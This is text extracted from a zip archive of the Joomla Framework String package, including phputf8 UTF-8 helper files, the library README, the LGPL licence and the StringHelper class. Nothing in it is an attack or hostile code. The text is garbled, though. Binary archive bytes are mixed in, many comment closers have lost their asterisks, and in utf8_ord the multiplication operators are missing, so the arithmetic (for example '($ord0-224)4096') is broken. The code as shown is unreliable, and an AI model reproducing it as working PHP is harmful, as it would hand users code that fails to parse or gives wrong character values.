'From Unicode 3.1, non-shortest form is illegal'; break; case UTF8_BAD_SURROGATE: return 'From Unicode 3.2, surrogate characters are illegal'; break; case UTF8_BAD_UNIOUTRANGE: return 'Codepoints outside the Unicode range are illegal'; break; case UTF8_BAD_SEQINCOMPLETE: return 'Incomplete multi-octet sequence'; break; } trigger_error('Unknown error code: '.$code,E_USER_WARNING); return FALSE; } PK��AD�\+OcgB��B��src/phputf8/utils/specials.phpnu��[��<?php /* * Utilities for processing "special" characters in UTF-8. "Special" largely means anything which would * be regarded as a non-word character, like ASCII control characters and punctuation. This has a "Roman" * bias - it would be unaware of modern Chinese "punctuation" characters for example. * Note: requires utils/unicode.php to be loaded * @package utf8 * @see utf8_is_valid / //-------------------------------------------------------------------- /* * Used internally. Builds a PCRE pattern from the $UTF8_SPECIAL_CHARS * array defined in this file * The $UTF8_SPECIAL_CHARS should contain all special characters (non-letter/non-digit) * defined in the various local charsets - it's not a complete list of * non-alphanum characters in UTF-8. It's not perfect but should match most * cases of special chars. * This function adds the control chars 0x00 to 0x19 to the array of * special chars (they are not included in $UTF8_SPECIAL_CHARS) * @package utf8 * @return string * @see utf8_from_unicode * @see utf8_is_word_chars * @see utf8_strip_specials / function utf8_specials_pattern() { static $pattern = NULL; if ( !$pattern ) { $UTF8_SPECIAL_CHARS = array( 0x001a, 0x001b, 0x001c, 0x001d, 0x001e, 0x001f, 0x0020, 0x0021, 0x0022, 0x0023, 0x0024, 0x0025, 0x0026, 0x0027, 0x0028, 0x0029, 0x002a, 0x002b, 0x002c, 0x002f, 0x003b, 0x003c, 0x003d, 0x003e, 0x003f, 0x0040, 0x005b, 0x005c, 0x005d, 0x005e, 0x0060, 0x007b, 0x007c, 0x007d, 0x007e, 0x007f, 0x0080, 0x0081, 0x0082, 0x0083, 0x0084, 0x0085, 0x0086, 0x0087, 0x0088, 0x0089, 0x008a, 0x008b, 0x008c, 0x008d, 0x008e, 0x008f, 0x0090, 0x0091, 0x0092, 0x0093, 0x0094, 0x0095, 0x0096, 0x0097, 0x0098, 0x0099, 0x009a, 0x009b, 0x009c, 0x009d, 0x009e, 0x009f, 0x00a0, 0x00a1, 0x00a2, 0x00a3, 0x00a4, 0x00a5, 0x00a6, 0x00a7, 0x00a8, 0x00a9, 0x00aa, 0x00ab, 0x00ac, 0x00ad, 0x00ae, 0x00af, 0x00b0, 0x00b1, 0x00b2, 0x00b3, 0x00b4, 0x00b5, 0x00b6, 0x00b7, 0x00b8, 0x00b9, 0x00ba, 0x00bb, 0x00bc, 0x00bd, 0x00be, 0x00bf, 0x00d7, 0x00f7, 0x02c7, 0x02d8, 0x02d9, 0x02da, 0x02db, 0x02dc, 0x02dd, 0x0300, 0x0301, 0x0303, 0x0309, 0x0323, 0x0384, 0x0385, 0x0387, 0x03b2, 0x03c6, 0x03d1, 0x03d2, 0x03d5, 0x03d6, 0x05b0, 0x05b1, 0x05b2, 0x05b3, 0x05b4, 0x05b5, 0x05b6, 0x05b7, 0x05b8, 0x05b9, 0x05bb, 0x05bc, 0x05bd, 0x05be, 0x05bf, 0x05c0, 0x05c1, 0x05c2, 0x05c3, 0x05f3, 0x05f4, 0x060c, 0x061b, 0x061f, 0x0640, 0x064b, 0x064c, 0x064d, 0x064e, 0x064f, 0x0650, 0x0651, 0x0652, 0x066a, 0x0e3f, 0x200c, 0x200d, 0x200e, 0x200f, 0x2013, 0x2014, 0x2015, 0x2017, 0x2018, 0x2019, 0x201a, 0x201c, 0x201d, 0x201e, 0x2020, 0x2021, 0x2022, 0x2026, 0x2030, 0x2032, 0x2033, 0x2039, 0x203a, 0x2044, 0x20a7, 0x20aa, 0x20ab, 0x20ac, 0x2116, 0x2118, 0x2122, 0x2126, 0x2135, 0x2190, 0x2191, 0x2192, 0x2193, 0x2194, 0x2195, 0x21b5, 0x21d0, 0x21d1, 0x21d2, 0x21d3, 0x21d4, 0x2200, 0x2202, 0x2203, 0x2205, 0x2206, 0x2207, 0x2208, 0x2209, 0x220b, 0x220f, 0x2211, 0x2212, 0x2215, 0x2217, 0x2219, 0x221a, 0x221d, 0x221e, 0x2220, 0x2227, 0x2228, 0x2229, 0x222a, 0x222b, 0x2234, 0x223c, 0x2245, 0x2248, 0x2260, 0x2261, 0x2264, 0x2265, 0x2282, 0x2283, 0x2284, 0x2286, 0x2287, 0x2295, 0x2297, 0x22a5, 0x22c5, 0x2310, 0x2320, 0x2321, 0x2329, 0x232a, 0x2469, 0x2500, 0x2502, 0x250c, 0x2510, 0x2514, 0x2518, 0x251c, 0x2524, 0x252c, 0x2534, 0x253c, 0x2550, 0x2551, 0x2552, 0x2553, 0x2554, 0x2555, 0x2556, 0x2557, 0x2558, 0x2559, 0x255a, 0x255b, 0x255c, 0x255d, 0x255e, 0x255f, 0x2560, 0x2561, 0x2562, 0x2563, 0x2564, 0x2565, 0x2566, 0x2567, 0x2568, 0x2569, 0x256a, 0x256b, 0x256c, 0x2580, 0x2584, 0x2588, 0x258c, 0x2590, 0x2591, 0x2592, 0x2593, 0x25a0, 0x25b2, 0x25bc, 0x25c6, 0x25ca, 0x25cf, 0x25d7, 0x2605, 0x260e, 0x261b, 0x261e, 0x2660, 0x2663, 0x2665, 0x2666, 0x2701, 0x2702, 0x2703, 0x2704, 0x2706, 0x2707, 0x2708, 0x2709, 0x270c, 0x270d, 0x270e, 0x270f, 0x2710, 0x2711, 0x2712, 0x2713, 0x2714, 0x2715, 0x2716, 0x2717, 0x2718, 0x2719, 0x271a, 0x271b, 0x271c, 0x271d, 0x271e, 0x271f, 0x2720, 0x2721, 0x2722, 0x2723, 0x2724, 0x2725, 0x2726, 0x2727, 0x2729, 0x272a, 0x272b, 0x272c, 0x272d, 0x272e, 0x272f, 0x2730, 0x2731, 0x2732, 0x2733, 0x2734, 0x2735, 0x2736, 0x2737, 0x2738, 0x2739, 0x273a, 0x273b, 0x273c, 0x273d, 0x273e, 0x273f, 0x2740, 0x2741, 0x2742, 0x2743, 0x2744, 0x2745, 0x2746, 0x2747, 0x2748, 0x2749, 0x274a, 0x274b, 0x274d, 0x274f, 0x2750, 0x2751, 0x2752, 0x2756, 0x2758, 0x2759, 0x275a, 0x275b, 0x275c, 0x275d, 0x275e, 0x2761, 0x2762, 0x2763, 0x2764, 0x2765, 0x2766, 0x2767, 0x277f, 0x2789, 0x2793, 0x2794, 0x2798, 0x2799, 0x279a, 0x279b, 0x279c, 0x279d, 0x279e, 0x279f, 0x27a0, 0x27a1, 0x27a2, 0x27a3, 0x27a4, 0x27a5, 0x27a6, 0x27a7, 0x27a8, 0x27a9, 0x27aa, 0x27ab, 0x27ac, 0x27ad, 0x27ae, 0x27af, 0x27b1, 0x27b2, 0x27b3, 0x27b4, 0x27b5, 0x27b6, 0x27b7, 0x27b8, 0x27b9, 0x27ba, 0x27bb, 0x27bc, 0x27bd, 0x27be, 0xf6d9, 0xf6da, 0xf6db, 0xf8d7, 0xf8d8, 0xf8d9, 0xf8da, 0xf8db, 0xf8dc, 0xf8dd, 0xf8de, 0xf8df, 0xf8e0, 0xf8e1, 0xf8e2, 0xf8e3, 0xf8e4, 0xf8e5, 0xf8e6, 0xf8e7, 0xf8e8, 0xf8e9, 0xf8ea, 0xf8eb, 0xf8ec, 0xf8ed, 0xf8ee, 0xf8ef, 0xf8f0, 0xf8f1, 0xf8f2, 0xf8f3, 0xf8f4, 0xf8f5, 0xf8f6, 0xf8f7, 0xf8f8, 0xf8f9, 0xf8fa, 0xf8fb, 0xf8fc, 0xf8fd, 0xf8fe, 0xfe7c, 0xfe7d, ); $pattern = preg_quote(utf8_from_unicode($UTF8_SPECIAL_CHARS), '/'); $pattern = '/[\x00-\x19'.$pattern.']/u'; } return $pattern; } //-------------------------------------------------------------------- /* * Checks a string for whether it contains only word characters. This * is logically equivalent to the \w PCRE meta character. Note that * this is not a 100% guarantee that the string only contains alpha / * numeric characters but just that common non-alphanumeric are not * in the string, including ASCII device control characters. * @package utf8 * @param string to check * @return boolean TRUE if the string only contains word characters * @see utf8_specials_pattern / function utf8_is_word_chars($str) { return !(bool)preg_match(utf8_specials_pattern(),$str); } //-------------------------------------------------------------------- /* * Removes special characters (nonalphanumeric) from a UTF-8 string * * This can be useful as a helper for sanitizing a string for use as * something like a file name or a unique identifier. Be warned though * it does not handle all possible non-alphanumeric characters and is * not intended is some kind of security / injection filter. * * @package utf8 * @author Andreas Gohr <andi@splitbrain.org> * @param string $string The UTF8 string to strip of special chars * @param string (optional) $repl Replace special with this string * @return string with common non-alphanumeric characters removed * @see utf8_specials_pattern / function utf8_strip_specials($string, $repl=''){ return preg_replace(utf8_specials_pattern(), $repl, $string); } PK��AD�\�ь�J ��J ��src/phputf8/ord.phpnu��[��<?php /* * @package utf8 / //--------------------------------------------------------------- /* * UTF-8 aware alternative to ord * Returns the unicode ordinal for a character * * Joomla modification - As of PHP 7.4, curly brace access has been deprecated. As a result this function has been * modified to use square brace syntax * See https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a * for additional references * * @param string UTF-8 encoded character * @return int unicode ordinal for the character * @see http://www.php.net/ord * @see http://www.php.net/manual/en/function.ord.php#46267 / function utf8_ord($chr) { $ord0 = ord($chr); if ( $ord0 >= 0 && $ord0 <= 127 ) { return $ord0; } if ( !isset($chr[1]) ) { trigger_error('Short sequence - at least 2 bytes expected, only 1 seen'); return FALSE; } $ord1 = ord($chr[1]); if ( $ord0 >= 192 && $ord0 <= 223 ) { return ( $ord0 - 192 ) 64 + ( $ord1 - 128 ); } if ( !isset($chr[2]) ) { trigger_error('Short sequence - at least 3 bytes expected, only 2 seen'); return FALSE; } $ord2 = ord($chr[2]); if ( $ord0 >= 224 && $ord0 <= 239 ) { return ($ord0-224)4096 + ($ord1-128)64 + ($ord2-128); } if ( !isset($chr[3]) ) { trigger_error('Short sequence - at least 4 bytes expected, only 3 seen'); return FALSE; } $ord3 = ord($chr[3]); if ($ord0>=240 && $ord0<=247) { return ($ord0-240)262144 + ($ord1-128)4096 + ($ord2-128)64 + ($ord3-128); } if ( !isset($chr[4]) ) { trigger_error('Short sequence - at least 5 bytes expected, only 4 seen'); return FALSE; } $ord4 = ord($chr[4]); if ($ord0>=248 && $ord0<=251) { return ($ord0-248)16777216 + ($ord1-128)262144 + ($ord2-128)4096 + ($ord3-128)64 + ($ord4-128); } if ( !isset($chr[5]) ) { trigger_error('Short sequence - at least 6 bytes expected, only 5 seen'); return FALSE; } if ($ord0>=252 && $ord0<=253) { return ($ord0-252) 1073741824 + ($ord1-128)16777216 + ($ord2-128)262144 + ($ord3-128)4096 + ($ord4-128)64 + (ord($chr[5])-128); } if ( $ord0 >= 254 && $ord0 <= 255 ) { trigger_error('Invalid UTF-8 with surrogate ordinal '.$ord0); return FALSE; } } PK��AD�\��src/phputf8/READMEnu��[��++PHP UTF-8++ Version 0.5 ++DOCUMENTATION++ Documentation in progress in ./docs dir http://www.phpwact.org/php/i18n/charsets http://www.phpwact.org/php/i18n/utf-8 Important Note: DO NOT use these functions without understanding WHY you are using them. In particular, do not blindly replace all use of PHP's string functions which functions found here - most of the time you will not need to, and you will be introducing a significant performance overhead to your application. You can get a good idea of when to use what from reading: http://www.phpwact.org/php/i18n/utf-8 Important Note: For sake of performance most of the functions here are not "defensive" (e.g. there is not extensive parameter checking, well formed UTF-8 is assumed). This is particularily relevant when is comes to catching badly formed UTF-8 - you should screen input on the "outer perimeter" with help from functions in the utf8_validation.php and utf8_bad.php files. Important Note: this library treats ALL ASCII characters as valid, including ASCII control characters. But if you use some ASCII control characters in XML, it will render the XML ill-formed. Don't be a bozo: http://hsivonen.iki.fi/producing-xml/#controlchar ++BUGS / SUPPORT / FEATURE REQUESTS ++ Please report bugs to: http://sourceforge.net/tracker/?group_id=142846&atid=753842 - if you are able, please submit a failing unit test (http://www.lastcraft.com/simple_test.php) with your bug report. For feature requests / faster implementation of functions found here, please drop them in via the RFE tracker: http://sourceforge.net/tracker/?group_id=142846&atid=753845 Particularily interested in faster implementations! For general support / help, use: http://sourceforge.net/tracker/?group_id=142846&atid=753843 In the VERY WORST case, you can email me: hfuecks gmail com - I tend to be slow to respond though so be warned. Important Note: when reporting bugs, please provide the following information; PHP version, whether the iconv extension is loaded (in PHP5 it's there by default), whether the mbstring extension is loaded. The following PHP script can be used to determine this information; <?php print "PHP Version: " .phpversion()."<br>"; if ( extension_loaded('mbstring') ) { print "mbstring available<br>"; } else { print "mbstring not available<br>"; } if ( extension_loaded('iconv') ) { print "iconv available<br>"; } else { print "iconv not available<br>"; } ?> ++LICENSING++ Parts of the code in this library come from other places, under different licenses. The authors involved have been contacted (see below). Attribution for which code came from elsewhere can be found in the source code itself. +Andreas Gohr / Chris Smith - Dokuwiki There is a fair degree of collaboration / exchange of ideas and code beteen Dokuwiki's UTF-8 library; http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php and phputf8. Although Dokuwiki is released under GPL, its UTF-8 library is released under LGPL, hence no conflict with phputf8 +Henri Sivonen (http://hsivonen.iki.fi/php-utf8/ / http://hsivonen.iki.fi/php-utf8/) has also given permission for his code to be released under the terms of the LGPL. He ported a Unicode / UTF-8 converter from the Mozilla codebase to PHP, which is re-used in phputf8 PK��AD�\iؚ��src/phputf8/stristr.phpnu��[��<?php /** * @package utf8 / //--------------------------------------------------------------- /* * UTF-8 aware alternative to stristr * Find first occurrence of a string using case insensitive comparison * Note: requires utf8_strtolower * @param string * @param string * @return int * @see http://www.php.net/strcasecmp * @see utf8_strtolower * @package utf8 / function utf8_stristr($str, $search) { if ( strlen($search) == 0 ) { return $str; } $lstr = utf8_strtolower($str); $lsearch = utf8_strtolower($search); //JOOMLA SPECIFIC FIX - BEGIN preg_match('/^(.)'.preg_quote($lsearch, '/').'/Us',$lstr, $matches); //JOOMLA SPECIFIC FIX - END if ( count($matches) == 2 ) { return substr($str, strlen($matches[1])); } return FALSE; } PK��AD�\��{��src/phputf8/strrev.phpnu��[��<?php /** * @package utf8 / //--------------------------------------------------------------- /* * UTF-8 aware alternative to strrev * Reverse a string * @param string UTF-8 encoded * @return string characters in string reverses * @see http://www.php.net/strrev * @package utf8 / function utf8_strrev($str){ preg_match_all('/./us', $str, $ar); return join('',array_reverse($ar[0])); } PK��AD�\�7�k>g��>g��src/phputf8/LICENSEnu��[�� GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. 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To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the library's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. <signature of Ty Coon>, 1 April 1990 Ty Coon, President of Vice That's all there is to it! PK��AD�\��q�U��U��src/StringHelper.phpnu��[��<?php /* * Part of the Joomla Framework String Package * * @copyright Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE / namespace Joomla\String; // PHP mbstring and iconv local configuration @ini_set('default_charset', 'UTF-8'); /* * String handling class for UTF-8 data wrapping the phputf8 library. All functions assume the validity of UTF-8 strings. * * @since 1.3.0 / abstract class StringHelper { /* * Increment styles. * * @var array * @since 1.3.0 / protected static $incrementStyles = [ 'dash' => [ '#-(\d+)$#', '-%d', ], 'default' => [ ['#$(\d+)$$#', '#$\d+$$#'], [' (%d)', '(%d)'], ], ]; /* * Increments a trailing number in a string. * * Used to easily create distinct labels when copying objects. The method has the following styles: * * default: "Label" becomes "Label (2)" * dash: "Label" becomes "Label-2" * * @param string $string The source string. * @param string\|null $style The the style (default\|dash). * @param integer $n If supplied, this number is used for the copy, otherwise it is the 'next' number. * * @return string The incremented string. * * @since 1.3.0 / public static function increment($string, $style = 'default', $n = 0) { $styleSpec = static::$incrementStyles[$style] ?? static::$incrementStyles['default']; // Regular expression search and replace patterns. if (\is_array($styleSpec[0])) { $rxSearch = $styleSpec[0][0]; $rxReplace = $styleSpec[0][1]; } else { $rxSearch = $rxReplace = $styleSpec[0]; } // New and old (existing) sprintf formats. if (\is_array($styleSpec[1])) { $newFormat = $styleSpec[1][0]; $oldFormat = $styleSpec[1][1]; } else { $newFormat = $oldFormat = $styleSpec[1]; } // Check if we are incrementing an existing pattern, or appending a new one. if (preg_match($rxSearch, $string, $matches)) { $n = empty($n) ? ($matches[1] + 1) : $n; $string = preg_replace($rxReplace, sprintf($oldFormat, $n), $string); } else { $n = empty($n) ? 2 : $n; $string .= sprintf($newFormat, $n); } return $string; } /* * Tests whether a string contains only 7bit ASCII bytes. * * You might use this to conditionally check whether a string needs handling as UTF-8 or not, potentially offering performance * benefits by using the native PHP equivalent if it's just ASCII e.g.; * * <code> * if (StringHelper::is_ascii($someString)) * { * // It's just ASCII - use the native PHP version * $someString = strtolower($someString); * } * else * { * $someString = StringHelper::strtolower($someString); * } * </code> * * @param string $str The string to test. * * @return boolean True if the string is all ASCII * * @since 1.3.0 / public static function is_ascii($str) { return utf8_is_ascii($str); } /* * UTF-8 aware alternative to ord() * * Returns the unicode ordinal for a character. * * @param string $chr UTF-8 encoded character * * @return integer Unicode ordinal for the character * * @link https://www.php.net/ord * @since 1.4.0 / public static function ord($chr) { return utf8_ord($chr); } /* * UTF-8 aware alternative to strpos() * * Find position of first occurrence of a string. * * @param string $str String being examined * @param string $search String being searched for * @param integer\|null\|boolean $offset Optional, specifies the position from which the search should be performed * * @return integer\|boolean Number of characters before the first match or FALSE on failure * * @link https://www.php.net/strpos * @since 1.3.0 / public static function strpos($str, $search, $offset = false) { if ($offset === false) { return utf8_strpos($str, $search); } return utf8_strpos($str, $search, $offset); } /* * UTF-8 aware alternative to strrpos() * * Finds position of last occurrence of a string. * * @param string $str String being examined. * @param string $search String being searched for. * @param integer $offset Offset from the left of the string. * * @return integer\|boolean Number of characters before the last match or false on failure * * @link https://www.php.net/strrpos * @since 1.3.0 / public static function strrpos($str, $search, $offset = 0) { return utf8_strrpos($str, $search, $offset); } /* * UTF-8 aware alternative to substr() * * Return part of a string given character offset (and optionally length). * * @param string $str String being processed * @param integer $offset Number of UTF-8 characters offset (from left) * @param integer\|null\|boolean $length Optional length in UTF-8 characters from offset * * @return string\|boolean * * @link https://www.php.net/substr * @since 1.3.0 / public static function substr($str, $offset, $length = false) { if ($length === false) { return utf8_substr($str, $offset); } return utf8_substr($str, $offset, $length); } /* * UTF-8 aware alternative to strtolower() * * Make a string lowercase * * Note: The concept of a characters "case" only exists is some alphabets such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does * not exist in the Chinese alphabet, for example. See Unicode Standard Annex #21: Case Mappings * * @param string $str String being processed * * @return string\|boolean Either string in lowercase or FALSE is UTF-8 invalid * * @link https://www.php.net/strtolower * @since 1.3.0 / public static function strtolower($str) { return utf8_strtolower($str); } /* * UTF-8 aware alternative to strtoupper() * * Make a string uppercase * * Note: The concept of a characters "case" only exists is some alphabets such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does * not exist in the Chinese alphabet, for example. See Unicode Standard Annex #21: Case Mappings * * @param string $str String being processed * * @return string\|boolean Either string in uppercase or FALSE is UTF-8 invalid * * @link https://www.php.net/strtoupper * @since 1.3.0 / public static function strtoupper($str) { return utf8_strtoupper($str); } /* * UTF-8 aware alternative to strlen() * * Returns the number of characters in the string (NOT THE NUMBER OF BYTES). * * @param string $str UTF-8 string. * * @return integer Number of UTF-8 characters in string. * * @link https://www.php.net/strlen * @since 1.3.0 / public static function strlen($str) { return utf8_strlen($str); } /* * UTF-8 aware alternative to str_ireplace() * * Case-insensitive version of str_replace() * * @param string $search String to search * @param string $replace Existing string to replace * @param string $str New string to replace with * @param integer\|null\|boolean $count Optional count value to be passed by referene * * @return string UTF-8 String * * @link https://www.php.net/str_ireplace * @since 1.3.0 / public static function str_ireplace($search, $replace, $str, $count = null) { if ($count === false) { return utf8_ireplace($search, $replace, $str); } return utf8_ireplace($search, $replace, $str, $count); } /* * UTF-8 aware alternative to str_pad() * * Pad a string to a certain length with another string. * $padStr may contain multi-byte characters. * * @param string $input The input string. * @param integer $length If the value is negative, less than, or equal to the length of the input string, no padding takes place. * @param string $padStr The string may be truncated if the number of padding characters can't be evenly divided by the string's length. * @param integer $type The type of padding to apply * * @return string * * @link https://www.php.net/str_pad * @since 1.4.0 / public static function str_pad($input, $length, $padStr = ' ', $type = STR_PAD_RIGHT) { return utf8_str_pad($input, $length, $padStr, $type); } /* * UTF-8 aware alternative to str_split() * * Convert a string to an array. * * @param string $str UTF-8 encoded string to process * @param integer $splitLen Number to characters to split string by * * @return array\|string\|boolean * * @link https://www.php.net/str_split * @since 1.3.0 / public static function str_split($str, $splitLen = 1) { return utf8_str_split($str, $splitLen); } /* * UTF-8/LOCALE aware alternative to strcasecmp() * * A case insensitive string comparison. * * @param string $str1 string 1 to compare * @param string $str2 string 2 to compare * @param string\|boolean $locale The locale used by strcoll or false to use classical comparison * * @return integer < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal. * * @link https://www.php.net/strcasecmp * @link https://www.php.net/strcoll * @link https://www.php.net/setlocale * @since 1.3.0 / public static function strcasecmp($str1, $str2, $locale = false) { if ($locale === false) { return utf8_strcasecmp($str1, $str2); } // Get current locale $locale0 = setlocale(LC_COLLATE, 0); if (!$locale = setlocale(LC_COLLATE, $locale)) { $locale = $locale0; } // See if we have successfully set locale to UTF-8 if (!stristr($locale, 'UTF-8') && stristr($locale, '_') && preg_match('~\.(\d+)$~', $locale, $m)) { $encoding = 'CP' . $m[1]; } elseif (stristr($locale, 'UTF-8') \|\| stristr($locale, 'utf8')) { $encoding = 'UTF-8'; } else { $encoding = 'nonrecodable'; } // If we successfully set encoding it to utf-8 or encoding is sth weird don't recode if ($encoding == 'UTF-8' \|\| $encoding == 'nonrecodable') { return strcoll(utf8_strtolower($str1), utf8_strtolower($str2)); } return strcoll( static::transcode(utf8_strtolower($str1), 'UTF-8', $encoding), static::transcode(utf8_strtolower($str2), 'UTF-8', $encoding) ); } /* * UTF-8/LOCALE aware alternative to strcmp() * * A case sensitive string comparison. * * @param string $str1 string 1 to compare * @param string $str2 string 2 to compare * @param mixed $locale The locale used by strcoll or false to use classical comparison * * @return integer < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal. * * @link https://www.php.net/strcmp * @link https://www.php.net/strcoll * @link https://www.php.net/setlocale * @since 1.3.0 / public static function strcmp($str1, $str2, $locale = false) { if ($locale) { // Get current locale $locale0 = setlocale(LC_COLLATE, 0); if (!$locale = setlocale(LC_COLLATE, $locale)) { $locale = $locale0; } // See if we have successfully set locale to UTF-8 if (!stristr($locale, 'UTF-8') && stristr($locale, '_') && preg_match('~\.(\d+)$~', $locale, $m)) { $encoding = 'CP' . $m[1]; } elseif (stristr($locale, 'UTF-8') \|\| stristr($locale, 'utf8')) { $encoding = 'UTF-8'; } else { $encoding = 'nonrecodable'; } // If we successfully set encoding it to utf-8 or encoding is sth weird don't recode if ($encoding == 'UTF-8' \|\| $encoding == 'nonrecodable') { return strcoll($str1, $str2); } return strcoll(static::transcode($str1, 'UTF-8', $encoding), static::transcode($str2, 'UTF-8', $encoding)); } return strcmp($str1, $str2); } /* * UTF-8 aware alternative to strcspn() * * Find length of initial segment not matching mask. * * @param string $str The string to process * @param string $mask The mask * @param integer\|boolean $start Optional starting character position (in characters) * @param integer\|boolean $length Optional length * * @return integer The length of the initial segment of str1 which does not contain any of the characters in str2 * * @link https://www.php.net/strcspn * @since 1.3.0 / public static function strcspn($str, $mask, $start = null, $length = null) { if ($start === false && $length === false) { return utf8_strcspn($str, $mask); } if ($length === false) { return utf8_strcspn($str, $mask, $start); } return utf8_strcspn($str, $mask, $start, $length); } /* * UTF-8 aware alternative to stristr() * * Returns all of haystack from the first occurrence of needle to the end. Needle and haystack are examined in a case-insensitive manner to * find the first occurrence of a string using case insensitive comparison. * * @param string $str The haystack * @param string $search The needle * * @return string\|boolean * * @link https://www.php.net/stristr * @since 1.3.0 / public static function stristr($str, $search) { return utf8_stristr($str, $search); } /* * UTF-8 aware alternative to strrev() * * Reverse a string. * * @param string $str String to be reversed * * @return string The string in reverse character order * * @link https://www.php.net/strrev * @since 1.3.0 / public static function strrev($str) { return utf8_strrev($str); } /* * UTF-8 aware alternative to strspn() * * Find length of initial segment matching mask. * * @param string $str The haystack * @param string $mask The mask * @param integer\|null $start Start optional * @param integer\|null $length Length optional * * @return integer * * @link https://www.php.net/strspn * @since 1.3.0 / public static function strspn($str, $mask, $start = null, $length = null) { if ($start === null && $length === null) { return utf8_strspn($str, $mask); } if ($length === null) { return utf8_strspn($str, $mask, $start); } return utf8_strspn($str, $mask, $start, $length); } /* * UTF-8 aware alternative to substr_replace() * * Replace text within a portion of a string. * * @param string $str The haystack * @param string $repl The replacement string * @param integer $start Start * @param integer\|boolean\|null $length Length (optional) * * @return string * * @link https://www.php.net/substr_replace * @since 1.3.0 / public static function substr_replace($str, $repl, $start, $length = null) { // Loaded by library loader if ($length === false) { return utf8_substr_replace($str, $repl, $start); } return utf8_substr_replace($str, $repl, $start, $length); } /* * UTF-8 aware replacement for ltrim() * * Strip whitespace (or other characters) from the beginning of a string. You only need to use this if you are supplying the charlist * optional arg and it contains UTF-8 characters. Otherwise ltrim will work normally on a UTF-8 string. * * @param string $str The string to be trimmed * @param string\|boolean $charlist The optional charlist of additional characters to trim * * @return string The trimmed string * * @link https://www.php.net/ltrim * @since 1.3.0 / public static function ltrim($str, $charlist = false) { if (empty($charlist) && $charlist !== false) { return $str; } if ($charlist === false) { return utf8_ltrim($str); } return utf8_ltrim($str, $charlist); } /* * UTF-8 aware replacement for rtrim() * * Strip whitespace (or other characters) from the end of a string. You only need to use this if you are supplying the charlist * optional arg and it contains UTF-8 characters. Otherwise rtrim will work normally on a UTF-8 string. * * @param string $str The string to be trimmed * @param string\|boolean $charlist The optional charlist of additional characters to trim * * @return string The trimmed string * * @link https://www.php.net/rtrim * @since 1.3.0 / public static function rtrim($str, $charlist = false) { if (empty($charlist) && $charlist !== false) { return $str; } if ($charlist === false) { return utf8_rtrim($str); } return utf8_rtrim($str, $charlist); } /* * UTF-8 aware replacement for trim() * * Strip whitespace (or other characters) from the beginning and end of a string. You only need to use this if you are supplying the charlist * optional arg and it contains UTF-8 characters. Otherwise trim will work normally on a UTF-8 string * * @param string $str The string to be trimmed * @param string\|boolean $charlist The optional charlist of additional characters to trim * * @return string The trimmed string * * @link https://www.php.net/trim * @since 1.3.0 / public static function trim($str, $charlist = false) { if (empty($charlist) && $charlist !== false) { return $str; } if ($charlist === false) { return utf8_trim($str); } return utf8_trim($str, $charlist); } /* * UTF-8 aware alternative to ucfirst() * * Make a string's first character uppercase or all words' first character uppercase. * * @param string $str String to be processed * @param string\|null $delimiter The words delimiter (null means do not split the string) * @param string\|null $newDelimiter The new words delimiter (null means equal to $delimiter) * * @return string If $delimiter is null, return the string with first character as upper case (if applicable) * else consider the string of words separated by the delimiter, apply the ucfirst to each words * and return the string with the new delimiter * * @link https://www.php.net/ucfirst * @since 1.3.0 / public static function ucfirst($str, $delimiter = null, $newDelimiter = null) { if ($delimiter === null) { return utf8_ucfirst($str); } if ($newDelimiter === null) { $newDelimiter = $delimiter; } return implode($newDelimiter, array_map('utf8_ucfirst', explode($delimiter, $str))); } /* * UTF-8 aware alternative to ucwords() * * Uppercase the first character of each word in a string. * * @param string $str String to be processed * * @return string String with first char of each word uppercase * * @link https://www.php.net/ucwords * @since 1.3.0 / public static function ucwords($str) { return utf8_ucwords($str); } /* * Transcode a string. * * @param string $source The string to transcode. * @param string $fromEncoding The source encoding. * @param string $toEncoding The target encoding. * * @return string\|null The transcoded string, or null if the source was not a string. * * @link https://bugs.php.net/bug.php?id=48147 * * @since 1.3.0 / public static function transcode($source, $fromEncoding, $toEncoding) { switch (ICONV_IMPL) { case 'glibc': return @iconv($fromEncoding, $toEncoding . '//TRANSLIT,IGNORE', $source); case 'libiconv': default: return iconv($fromEncoding, $toEncoding . '//IGNORE//TRANSLIT', $source); } } /* * Tests a string as to whether it's valid UTF-8 and supported by the Unicode standard. * * Note: this function has been modified to simple return true or false. * * @param string $str UTF-8 encoded string. * * @return boolean true if valid * * @author <hsivonen@iki.fi> * @link https://hsivonen.fi/php-utf8/ * @see compliant * @since 1.3.0 / public static function valid($str) { return utf8_is_valid($str); } /* * Tests whether a string complies as UTF-8. * * This will be much faster than StringHelper::valid() but will pass five and six octet UTF-8 sequences, which are not supported by Unicode and * so cannot be displayed correctly in a browser. In other words it is not as strict as StringHelper::valid() but it's faster. If you use it to * validate user input, you place yourself at the risk that attackers will be able to inject 5 and 6 byte sequences (which may or may not be a * significant risk, depending on what you are are doing). * * @param string $str UTF-8 string to check * * @return boolean TRUE if string is valid UTF-8 * * @see StringHelper::valid * @link 